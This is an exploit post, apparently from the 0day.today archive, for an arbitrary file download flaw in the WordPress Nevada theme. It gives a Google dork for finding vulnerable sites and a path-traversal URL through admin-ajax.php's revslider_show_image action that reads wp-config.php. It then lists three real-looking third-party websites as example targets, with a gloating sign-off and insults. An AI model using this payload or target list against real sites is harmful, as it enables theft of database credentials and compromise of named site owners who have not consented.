Wordpress Theme Nevada Arbitrary File Download Vulnerability

# Exploit Title: Wordpress Theme Nevada Arbitrary File Download Vulnerability
# Date: 01/05/2015
# Exploit Author: X-Line 
# Vendor Homepage: http://themeforest.unitedthemes.com/wpversions/nevada/
# Contact :  http://www.root-me.org/X-Line-24646
# Tested on: Linux / Win7
# Google Dork: inurl:"/wp-content/themes/nevada/"
######################


  PoC
http://target/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
 
http://i.imgur.com/VVzsC6B.png
http://i.imgur.com/rM1DplP.png


if ( ! empty( $_GET['action'] ) && in_array( $_GET['action'], $core_actions_get ) )
	add_action( 'wp_ajax_' . $_GET['action'], 'wp_ajax_' . str_replace( '-', '_', $_GET['action'] ), 1 );
	

	

Examples :  
www.multifibres.ma/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
www.uopitcrew.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
www.atiztransport.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Enjoy !

Greetz*  Brahim Kharbach - Youssef Kou & Special Fu*k to All Moth*fuc*rs li 7assin bkarhoum w homa ZERO ;)
Shab Screenshot w3ya9a Sawarni .!.
./d0ne

#  0day.today [2018-03-13]  #